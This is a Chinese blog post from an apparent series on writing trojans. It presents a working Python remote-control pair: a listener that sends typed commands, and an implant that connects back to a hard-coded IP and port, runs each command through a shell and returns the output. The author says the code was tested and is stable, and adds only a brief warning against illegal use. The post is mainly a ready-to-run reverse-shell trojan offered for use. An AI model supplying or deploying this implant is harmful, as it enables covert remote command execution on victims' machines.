前两篇文章的木马太被动,今天是通过socket和os来进行主动木马编写

有些s13,我真的搞不懂拿一些没过脑子的代码就放到网上去害人,骗流量,还某知名安全企业学院写的,真的服。我的代码自己运行过,很稳,各位慎重,勿做非法之事

因为是木马入门,所以前几篇比较简单,也只是一个模块搭建,后期我会逐步搭建框架,一周我也只会出两三篇来记录自己的编写历程,所以大佬们亲喷

首先当然是控制端

 from socket import *
 import os
 import time
 import subprocess

 target = "192.168.67.1"
 port = 10002
 addr = (target,port)
 buff = 1024
 tcpSock = socket(AF_INET, SOCK_STREAM)
 tcpSock.bind(addr)
 tcpSock.listen(5)

 while True:
     conn,addr=tcpSock.accept()
     while True:
         data = input("input the command:\n")
         conn.send(bytes(data,encoding="utf-8"))
         getdata = str(conn.recv(buff),encoding="utf-8")
         if not getdata:
             break
         print(getdata)
     tcpSock.close()

再就是被控端

 import socket
 import os
 import subprocess
 target = "192.168.67.1"
 port = 10002
 addr = (target,port)
 buff = 1024

 cli = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 cli.connect(addr)

 while True:
     data = str(cli.recv(buff),encoding="utf-8")
     if not data:
         break
     print(data)
     f =subprocess.Popen(data,shell=True, stdout=subprocess.PIPE).stdout
     redata = bytes(str(f.read()),encoding="utf-8")
     cli.sendall(redata)
 cli.close()

最新文章

  1. SharePoint2013 显示网站菜单中设计管理器功能
  2. SharePoint 2013 版本功能对比
  3. python netwokx环境搭建
  4. 全局方法&Number对象
  5. ASP.NET Web API从注释生成帮助文档
  6. Chart系列(二):数据绑定
  7. 【转】Ubuntu14.04搭建安装svnserver
  8. 常用的bat命令
  9. Docker入门之七Dockerfile
  10. 如何在 vmware esxi 中开放 VNC功能及端口实现远程管理 完整篇
  11. js---数组排序法(冒泡排序;快速排序)
  12. 硬盘SMART检测参数详解[转]
  13. C# 倒计时
  14. asp.net web api参数
  15. set-matrix-zeroes当元素为0则设矩阵内行与列均为0
  16. OAF 动态创建组件以及动态绑定属性
  17. Ubuntu 16.04 安装 PyCharm
  18. Yii 入门
  19. BZOJ4589: Hard Nim(FWT 快速幂)
  20. 洛谷P4526 【模板】自适应辛普森法2(simpson积分)

热门文章

  1. 深刻认识OpenStack
  2. java多线程模拟生产者消费者问题,公司面试常常问的题。。。
  3. 【oracle11g,13】表空间管理2:undo表空间管理(调优) ,闪回原理
  4. 分类算法SVM(支持向量机)
  5. ANDROID-BOOTSTRAP开源项目使用方法
  6. 傻瓜突破linux--rootpassword
  7. React学习(1)——constructor
  8. SQL查询表结构 相关语句
  9. 一个RPC的demo (good)
  10. WPF三维图形